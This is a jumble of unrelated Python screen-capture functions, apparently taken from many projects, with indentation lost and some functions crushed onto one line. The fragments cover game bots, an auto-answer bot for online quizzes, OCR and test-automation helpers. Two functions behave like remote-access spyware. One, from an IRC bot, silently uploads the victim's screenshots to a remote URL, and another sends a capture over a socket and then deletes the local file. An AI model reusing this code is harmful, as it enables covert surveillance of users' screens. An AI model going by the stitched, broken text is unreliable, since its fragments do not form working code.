Tipsmd5 = hashlib.md5(Tips.read()).hexdigest().upper()
def md5w():
md5 = hashlib.md5(pic.read()).hexdigest().upper() ##計算答案的MD5
w = '%s:%s\n' % (Qmd5 ,md5) ##寫入HASH至文件
tk = open(shash,'a')
tk.write(w)
tk.close()
pic.close()
if Tipsmd5 == Amd5:
saveA = fullsc.crop(Abox).save(wokingp + 'A.jpg','JPEG')
pic = open(wokingp +'A.jpg','rb')
md5w()
elif Tipsmd5 == Bmd5:
saveB = fullsc.crop(Bbox).save(wokingp + 'B.jpg','JPEG')
pic = open(wokingp +'B.jpg','rb')
md5w()
elif Tipsmd5 == Cmd5:
saveC = fullsc.crop(Cbox).save(wokingp + 'C.jpg','JPEG')
pic = open(wokingp +'C.jpg','rb')
md5w()
elif Tipsmd5 == Dmd5:
saveD = fullsc.crop(Dbox).save(wokingp + 'D.jpg','JPEG')
pic = open(wokingp +'D.jpg','rb')
md5w()
else:
print 'no answer!'
getProcess()
def launcher():
expectedVal = (250, 152, 135)
im = ImageGrab.grab((455, 435, 501, 467))
inVal = im.getpixel((41, 24))
## print inVal
## im.save(os.getcwd() + '\\' + 'launcher.png', "PNG")
## im.putpixel((32,28), (0,0,0))
## print inVal
if inVal != expectedVal:
leftClick()
im.save(os.getcwd() + '\\' + 'launcher.png', "PNG")
print 'Launch!'
return 1
else:
print 'missed'
launcher()
def subfind(findimg, insideimg=None):
if type(findimg) in (type(()), type([])):
for i in findimg:
r = subfind(i, insideimg=insideimg)
if r is not None:
return r
return None
if type(findimg) is type({}):
for i in findimg.keys():
r = subfind(i, insideimg=insideimg)
if r is not None:
return (r[0] + findimg[i][0], r[1] + findimg[i][1])
return None
if type(findimg) in (type(''), type(u'')):
findimg = Image.open(findimg).convert('RGB')
else:
findimg = findimg.convert('RGB')
if insideimg is None:
insideimg = ImageGrab.grab().convert('RGB')
elif type(insideimg) in (type(''), type(u'')):
insideimg = Image.open(insideimg).convert('RGB')
else:
insideimg = insideimg.convert('RGB')
findload = findimg.load()
insideload = insideimg.load()
#insideimg.save('C:\\tmptest'+str(random.random())+'.png','PNG')
point = None
for x in range(insideimg.size[0] - findimg.size[0]):
for y in range(insideimg.size[1] - findimg.size[1]):
sofarsogood = True
for x2 in range(findimg.size[0]):
for y2 in range(findimg.size[1]):
p1 = findload[x2, y2]
p2 = insideload[x + x2, y + y2]
if abs(p1[0] - p2[0]) > 8 or abs(p1[1] - p2[1]) > 8 or abs(
p1[2] - p2[2]) > 8:
sofarsogood = False
break
if not sofarsogood:
break
if sofarsogood:
say('Found point at', (x, y))
point = (x, y)
if point is not None:
break
return point
def isSpinning():
mousePos((475, 620))
expectedVal = (255, 225, 13)
box = (473, 377, 530, 432)
im = ImageGrab.grab()
inVal = im.getpixel((500, 390))
##print inVal
##print expectedVal
im.save(os.getcwd() + '\\' + 'Spinning.png', "PNG")
if inVal == expectedVal:
print 'Spinning = True'
return True
else:
print 'Not spinning'
return False
def findGrid(self): image = ImageGrab.grab() a,b = MOUSE.screen_size() for x in xrange(0,a,7): for y in xrange(0,b,7): if self.smoothColor(image.getpixel((x,y)))==GRIDCOLOR: for a1 in xrange(4): for b1 in xrange(4): if x+121*a1+60>=a or y+121*b1+17>=b: break if self.smoothColor(image.getpixel((x+120*a1+60,y+120*b1+17))) not in COLORS: break else:continue break else: return x,y
def init():
screen = ImageGrab.grab()
coords = findSubimage(wwfTopLeft, screen)
global offset
offset = coords
print(offset, )
if not coords:
print("Can't find the board!")
return False
print("Found board!")
setColors()
print("Initialized!")
return True
def oneScreenshots(): # screenshot function
# originally by: Technic Dynamic, http://www.technicdynamic.com/
try:
global saveas, urlFromUpload, urlFromUpShow
img = ImageGrab.grab()
saveas = os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S') + '.png')
img.save(saveas)
sendMsg(
ircChanne, "..::Screenshot salvo::.. " + str(saveas) +
" ..:: Aguarde imagem sendo urpada::..")
#url = 'http://www.site.com.br/upload.php' #Arry Receber o arquivo
files = {'file': open(saveas, 'rb')}
r = requests.post(urlFromUpload, files=files) #import requests
sendMsg(
ircChanne, "..::Imagem urpado com sucesso para::.. http:" +
urlFromUpShow + saveas)
except IOError:
sendMsg(ircChanne, "Voce nao tem privilegio para gravar no host")
def capture_image(self, savefilename):
screensize = self.get_screen_size()
# The cropbox will take care of making sure our image is within
# screen boundaries.
cropbox = CropBox(topleft=Point(0, 0),
bottomright=screensize,
min=Point(0, 0),
max=screensize)
self.logger.debug(cropbox)
if os.name == 'posix':
screengrab = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB, False, 8,
screensize.x, screensize.y)
screengrab.get_from_drawable(gtk.gdk.get_default_root_window(),
gtk.gdk.colormap_get_system(), 0, 0,
0, 0, screensize.x, screensize.y)
save_options_dict = {}
if self.subsettings['General']['Screenshot Image Format'].lower(
) in ['jpg', 'jpeg']:
self.subsettings['General']['Screenshot Image Format'] = 'jpeg'
save_options_dict = {
'quality':
to_unicode(self.subsettings['General']
['Screenshot Image Quality'])
}
screengrab.save(
savefilename,
self.subsettings['General']['Screenshot Image Format'],
save_options_dict)
if os.name == 'nt':
image_data = ImageGrab.grab(
(cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x,
cropbox.bottomright.y))
image_data.save(savefilename,
quality=self.subsettings['General']
['Screenshot Image Quality'])
def GetActiveWindowImage(self, FilePath):
"""
Capture an image of the active window into the given _FilePath_.
The given _FilePath_ must be relative to Robot Framework output directory,
otherwise the embedded image will not be shown in the log file.
"""
#
# Check that PIL is installed
#
if ImageGrab == None:
raise RuntimeError(
"Python Imaging Library (PIL) is not installed, but is required for GetActiveWindowImage"
)
#
# Check for a valid FilePath and make sure the directories exist
#
if FilePath and os.path.isabs(FilePath):
raise RuntimeError(
"Given FilePath='%s' must be relative to Robot outpudir" %
FilePath)
fullFilePath = os.path.join(self._OutputDir, FilePath)
if not os.path.exists(os.path.split(fullFilePath)[0]):
os.makedirs(os.path.split(fullFilePath)[0])
self._info("GetActiveWindowImage(FilePath=%s)" % fullFilePath)
#
# Get the bounding box for the Active Window
#
x = self._AutoIt.WinGetPosX("")
y = self._AutoIt.WinGetPosY("")
width = self._AutoIt.WinGetPosWidth("")
height = self._AutoIt.WinGetPosHeight("")
bbox = [x, y, x + width - 1, y + height - 1]
self.MouseMove(x + width + 10, y + height + 10)
#
# Capture and save the screen image of the window
#
GrabbedImage = ImageGrab.grab(bbox) # store screenshot as "RGB" Image
GrabbedImage.save(fullFilePath) # PIL evaluates extension
#
# Embed the screenshot in the Robot Framework log file
#
self._html('<td></td></tr><tr><td colspan="3"><a href="%s">'
'<img src="%s" width="700px"></a></td></tr>' %
(FilePath, FilePath))
def capture_soundrecorder_image(imgname):
"""
Open windows SoundRecorder and capture it's picture
"""
logger.debug("Launch SoundRecorder")
app = application.Application.start(
os.path.join("c:\\windows\\sysnative", "SoundRecorder.exe"))
time.sleep(3)
logger.debug("Capture SoundRecorder picture")
rect = RECT()
HWND = win32gui.GetForegroundWindow() # get handler of current window
ctypes.windll.user32.GetWindowRect(
HWND, ctypes.byref(rect)) # get coordinate of current window
rangle = (rect.left + 2, rect.top + 2, rect.right - 2, rect.bottom - 2
) # adjust coordinate
img = ImageGrab.grab(rangle) # capture current window
img.save(imgname, 'JPEG')
logger.debug("Exit SoundRecorder")
app.kill_()
def screenshot(s):
name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png'
if(os.name == 'posix'): # se for unix-like
img = pyscreenshot.grab()
img.save(name)
elif(os.name == 'nt'): # se for windows
img = ImageGrab.grab()
img.save(name)
with open(name ,'rb') as f:
l = f.read(1024)
l = name + '+/-' + l
while(l):
s.send(l)
l = f.read(1024)
print('sent')
s.shutdown(socket.SHUT_WR)
os.remove(name)
def script_ocrNavigatorObject(self, gesture):
nav = api.getNavigatorObject()
left, top, width, height = nav.location
img = ImageGrab.grab(bbox=(left, top, left + width, top + height))
# Tesseract copes better if we convert to black and white...
img = img.convert(mode='L')
# and increase the size.
img = img.resize(
(width * IMAGE_RESIZE_FACTOR, height * IMAGE_RESIZE_FACTOR),
Image.BICUBIC)
baseFile = os.path.join(tempfile.gettempdir(), "nvda_ocr")
try:
imgFile = baseFile + ".bmp"
img.save(imgFile)
ui.message(_("Running OCR"))
lang = getConfig()['language']
# Hide the Tesseract window.
si = subprocess.STARTUPINFO()
si.dwFlags = subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
subprocess.check_call(
(TESSERACT_EXE, imgFile, baseFile, "-l", lang, "hocr"),
startupinfo=si)
finally:
try:
os.remove(imgFile)
except OSError:
pass
try:
hocrFile = baseFile + ".html"
parser = HocrParser(file(hocrFile).read(), left, top)
finally:
try:
os.remove(hocrFile)
except OSError:
pass
# Let the user review the OCR output.
nav.makeTextInfo = lambda position: OcrTextInfo(nav, position, parser)
api.setReviewPosition(nav.makeTextInfo(textInfos.POSITION_FIRST))
ui.message(_("Done"))
def get_code_str_from_image_qq(image_name):
## im = Image.open(image_name)
## im.show("test")
im = ImageGrab.grab()
im.show("tt.bmp")
## im.filter(ImageFilter.BLUR).save("filter_BLUR.jpeg")
## im.filter(ImageFilter.CONTOUR).save("filter_CONTOUR.jpeg")
## im.filter(ImageFilter.DETAIL).save("filter_DETAIL.jpeg")
## im.filter(ImageFilter.EDGE_ENHANCE).save("filter_EDGE_ENHANCE.jpeg")
## im.filter(ImageFilter.EDGE_ENHANCE_MORE).save("filter_EDGE_ENHANCE_MORE.jpeg")
## im.filter(ImageFilter.EMBOSS).save("filter_EMBOSS.jpeg")
## im.filter(ImageFilter.FIND_EDGES).save("filter_FIND_EDGES.jpeg")
## im.filter(ImageFilter.SMOOTH).save("filter_SMOOTH.jpeg")
## im.filter(ImageFilter.SMOOTH_MORE).save("filter_SMOOTH_MORE.jpeg")
## im.filter(ImageFilter.SHARPEN).save("filter_SHARPEN.jpeg")
## im = Image.open(image_name)
## im = im.filter(ImageFilter.MedianFilter())
## im.save("1_MedianFilter.jpeg")
## enhancer = ImageEnhance.Contrast(im)
## im = enhancer.enhance(4)
## im.save("2_ImageEnhance.jpeg")
## im = im.filter(ImageFilter.MaxFilter(3))
## im = im.filter(ImageFilter.ModeFilter(3))
##
## im.save("2_1_MaxFilter.jpeg")
## im = im.convert('1')
## im.save("3_convert_1.jpeg")
## im = im.filter(ImageFilter.MinFilter(3))
## im = im.filter(ImageFilter.MaxFilter(3))
## #im = im.filter(ImageFilter.MaxFilter(3))
## im.save("4_convert_1.jpeg")
##
##
##
## codestr = image_to_string(im)
## print 'codestr:', codestr
## codestr = image_file_to_string(processImagePath)
## codestr = image_file_to_string('C:\\temp\\fnord.tif')
## img = Image.open('C:\\temp\\phototest.tif')
## text = image_to_string(img)
## print 'text: ', text
return 'aabb'
def updateBoard(self,confirm = False,ensure = False): nc0 = sum(1 if (not self.B[a][b] is None) else 0 for a in xrange(self.n) for b in xrange(self.n)) change = False c=0 while True: image = ImageGrab.grab() for x in xrange(4): for y in xrange(4): pix = self.smoothColor(image.getpixel((self.pos[0]+60+x*121, self.pos[1]+20+y*121))) if pix not in COLORMAP: break else:continue break else:break c+=1 if c==10: self.updatePosition() c = 0 for x in xrange(4): for y in xrange(4): pix = self.smoothColor(image.getpixel((self.pos[0]+60+x*121, self.pos[1]+20+y*121))) if pix not in COLORMAP: print pix b = COLORMAP[pix] if b!=self.B[y][x]: if confirm: return False if ensure: change = True self.set(y,x,b) if not change and ensure: return False nc = sum(1 if (not self.B[a][b] is None) else 0 for a in xrange(self.n) for b in xrange(self.n)) if nc==0: self.updateBoard() return True self.c = nc return True
def capture_image(self, event):
screensize = self.get_screen_size()
# The cropbox will take care of making sure our image is within
# screen boundaries.
cropbox = CropBox(topleft=Point(0, 0),
bottomright=self.imagedimensions,
min=Point(0, 0),
max=screensize)
cropbox.reposition(Point(event.Position[0], event.Position[1]))
self.logger.debug(cropbox)
if os.name == 'posix':
AllPlanes = ~0
try:
# cropbox.topleft.x, cropbox.topleft.y,
# cropbox.size.x, cropbox.size.y, self.savefilename
raw = self.rootwin.get_image(cropbox.topleft.x,
cropbox.topleft.y, cropbox.size.x,
cropbox.size.y, X.ZPixmap,
AllPlanes)
image_data = Image.fromstring("RGBX",
(cropbox.size.x, cropbox.size.y),
raw.data, "raw",
"BGRX").convert("RGB")
return image_data
except error.BadDrawable:
print "bad drawable when attempting to get an image! Closed the window?"
except error.BadMatch:
print "bad match when attempting to get an image! probably specified an area outside the window (too big?)"
except error.BadValue:
print "getimage: bad value error - tell me about this one, I've not managed to make it happen yet"
except:
print self.logger.debug('Error in getimage.', exc_info=True)
if os.name == 'nt':
image_data = ImageGrab.grab(
(cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x,
cropbox.bottomright.y))
return image_data
def getInputArr(self):
#pyautogui.moveTo(420, 490)
#pyautogui.moveTo(30, 30)
#pyautogui.moveTo(74, 252)
#time.sleep(1.0)
#time.clock()
inputArr = []
image = ImageGrab.grab()
#color = image.getpixel((74, 252))
#print(color)
#time.sleep(1.0)
#resolution of game screen is ~ 400x400
#store normalized inputs in a numpy array and feed it into the neural network
#store screen pixels in an array named "prev pixels" and then check if every pixel is a duplicate. This means the character has died
# Set the time that previous pixels are checked to the time that fitness starts=
for x in range(30, 420, 5):
linputArr = []
for y in range(30, 490, 5):
color = image.getpixel((x, y))
if (
color == (0, 0, 0)
): #color == (35, 171, 35) or color == (1, 1, 1) or color == (1, 103, 1)):
# BG
linputArr.append(0)
#print("BG")
elif (color == (255, 34, 221) or color == (255, 51, 221)):
# Character
linputArr.append(-1)
#print("character")
else:
# Obstacle
linputArr.append(1)
#print("Obstacle")
"""print("x = ")
print((x - 30)/10)
print("y = ")
print((y - 30)/10)"""
inputArr.append(linputArr)
print(time.clock())
return inputArr
def nextclass():
click(1020,865) #交卷
time.sleep(0.3)
click(560,680) #未完成提示框的確認
time.sleep(0.5)
fullsc = ImageGrab.grab()
savebutton = fullsc.crop(button).save('tmp/button.JPG','JPEG') #截图，保存，提交答案之後查看正確答案
button = open('tmp/button.JPG','rb')
buttonmd5 = hashlib.md5(button.read()).hexdigest().upper()
button.close()
if buttonmd5 == buttonT:
click(490,720) #練習下一個知識點
pickit()
elif buttonmd5 == buttonF:
click(490,720) #失敗重做
AutoAnswer()
else:
print 'this chapter all finish!'
